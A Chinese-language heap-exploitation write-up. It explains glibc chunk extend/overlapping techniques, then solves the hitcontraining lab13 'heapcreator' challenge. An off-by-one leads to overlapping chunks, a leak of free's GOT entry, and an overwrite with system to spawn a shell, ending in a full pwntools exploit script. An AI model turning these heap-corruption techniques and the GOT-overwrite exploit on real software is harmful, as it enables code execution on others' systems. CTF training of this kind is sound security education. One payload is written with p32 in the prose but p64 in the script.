chunk extend overlapping:
通过extend实现chunk overlapping
利用方式:
1、对inuse的fastbin进行extend:
通过更改第一块的大小来控制第二块的内容
malloc(0x10)#chunk1
malloc(0x10)#chunk2
#接下来篡改chunk1的size为(0x41)====》覆盖chunk2
free(1)#chunk1和chunk2合成了一个0x40大小的chunk,一起被释放了
malloc(0x30)#得到chunk1+chunk2的块===》可以控制chunk2中的内容====》overlapping chunk
2、对inuse的smallbin进行extend
注意利用的不是fastbin==》chunk在被释放后如果与top chunk相连===》合并
malloc(0x80)#chunk1
malloc(0x10)#chunk2
malloc(0x10)#防止与top chunk合并
#篡改chunk1的size为(0xb1)===》覆盖chunk2
free(1)#chunk1包含chunk2一起置入unsorted bin
#chunk3的inuse位变为0
malloc()#取回chunk1和chunk2的空间===》控制chunk2中的内容
#进入unsorted bin原因:
#释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中
3、对free的smallbin进行extend
malloc(0x80)#chunk1
malloc(0x10)#chunk2
free(1)#chunk2的标志位变0
#篡改chunk1的size===》(0xb1)
malloc()#可分配得到chunk1+chunk2的堆块===》控制chunk2
4、通过extend向后overlapping
//gcc -g test4.c -o test4
#include<stdio.h>
int main()
{
void *closure, *closure1;
closure = malloc(0x10);//分配第1个 0x10 的chunk1
malloc(0x10); //分配第2个 0x10 的chunk2
malloc(0x10); //分配第3个 0x10 的chunk3
malloc(0x10); //分配第4个 0x10 的chunk4
*(long *)((long)closure - 0x8) = 0x61;
free(closure);
closure1 = malloc(0x50);
}
在malloc(0x50)对extend区域的重新占位后,其中0x10的块仍然可以正常分配和是放,此时构成overlapping,通过对overeapping进行操作
5、通过extend前向overlapping
//gcc -g test5.c -o test
#include<stdio.h>
int main(void)
{
void *closure1, *closure2, *closure3, *closure4;
closure1 = malloc(128);//smallbin1
closure2 = malloc(0x10);//fastbin1
closure3 = malloc(0x10);//fastbin2
closure4 = malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(closure1);
*(int *)((long long)closure4 - 0x8) = 0x90;//修改pre_inuse域
*(int *)((long long)closure4 - 0x10) = 0xd0;//修改pre_size域
free(closure4);//unlink进行前向extend
malloc(0x150);//占位块
}
前向extend利用了smallbin的unlink机制,通过修改pre_size域可以跨越多个chunk进行合并overlapping
extend/shrink作用:
控制chunk中的内容,如果chunk中存在指针,函数指针等,可以通过控制这些指针来进行信息泄露和控制执行流程
也可以通过extend达到overlapping实现控制chunk的fd和bk指针===》实现fastbin attack
例题:hitcontraning_lab13
保护:
开启了canary和NX保护
程序运行分析:
程序为一个菜单栏,有创建堆块,修改堆块内容,打印堆块,删除堆块,退出功能
思路分析:
1、主界面函数:
menu()函数是一个输出界面:
输入你的一个选择,通过switch进行判断输入的内容,执行相对应的函数
1、创建堆:

由上可得:heaparray是一个数组,其中存放着指向第一个chunk的指针
第一个chunk存放着第二个chunk的size和content的地址==》结构体
红色区域为chunk1==》结构体
黄色区域为chunk2
2、修改堆内容

在edit中也发现使用read_input函数,但是参数与create中不一样

edit中可以多读入1个字节==》off-by-one
==》例如刚刚申请了32大小的堆块,此时就可以使用edit写入33字节的内容
==》溢出的1字节刚刚好就是下一个堆块的size部分
3、打印堆块
4、删除堆块
总结:
程序中有off-by-one漏洞,可以实现覆盖到第二个结构体的inuse位造成extend

如图已经将第二个结构体的inuse位覆盖成0x63
==》由于我申请的index2的大小为0x10==》如果将index2的结构体扩展到0x40即可触发覆盖
==》由于现在是结构体覆盖content,无法对结构体修改==》将index2释放==》

此时我们再将他们申请回来==》申请一个0x30大小的content==》0x20的fastbin先被启用作为结构体
0x40大小的fastbin作为content==》content覆盖结构体==》大空间可写覆盖小空间不可写
payload='a'*24+'\x41'

overlapping导致结构体可以被篡改==》篡改结构体的content指针为free_got==》就可以利用show打印出free_addr,并且可以让free_got变成我们可修改的
payload=p64(0)*3+p64(0x21)+p64(0x30)+p32(elf.got['free'])

至此,我们已经可以控制free_got的内容,也可以使用show打印free函数的地址
对于shell我们还需要system(‘/bin/sh’)==》利用free函数的地址泄露出system函数的地址
==》将free_got覆盖成system==》再调用free时即可调用system
==》接下来是将free函数的参数变成’/bin/sh’==》在delete中调用了两个free函数==》

在第一个free中,参数为content的data起始地址,如果我们将’/bin/sh’作为data起始地址的内容,’/bin/sh’就将作为free函数的参数===》也就变成system函数的参数==》system(‘/bin/sh’)
payload='/bin/sh\x00'+'a'*0x10+'\x41'

exp:
#coding=UTF-8
from pwn import *
io=process('./heapcreator' )
elf=ELF('./heapcreator' )
def add(size,content):
io.recvuntil("Your choice :")
io.sendline('1')
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap:")
io.sendline(str(content))
def edit(index,content):
io.recvuntil("Your choice :")
io.sendline('2')
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Content of heap : ")
io.sendline(str(content))
def show(index):
io.recvuntil("Your choice :")
io.sendline('3')
io.recvuntil("Index :")
io.sendline(str(index))
def delete(index):
io.recvuntil("Your choice :")
io.sendline('4')
io.recvuntil("Index :")
io.sendline(str(index))
add(24,'aaaa')
add(0x10,'bbbb')
payload='/bin/sh\x00'+'a'*0x10+'\x41'
edit(0,payload)
delete(1)
payload=p64(0) * 3 + p64(0x21) + p64(0x30) + p64(elf.got['free'])
add(0x30,payload)
show(1)
io.recvuntil("Content : ")
free_addr=u64(io.recvuntil('\n')[:6].ljust(8,'\x00'))
#data=io.recvuntil("Done !")
#free_addr=u64(data.split('\n')[0].ljust(8,'\x00'))
#接收的data以'\n'为分隔符做切片,取第0个元素
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=free_addr-libc.sym['free']
sys_addr=libcbase+libc.sym['system']
edit(1,p64(sys_addr))
delete(0)
#gdb.attach(io)
io.interactive()
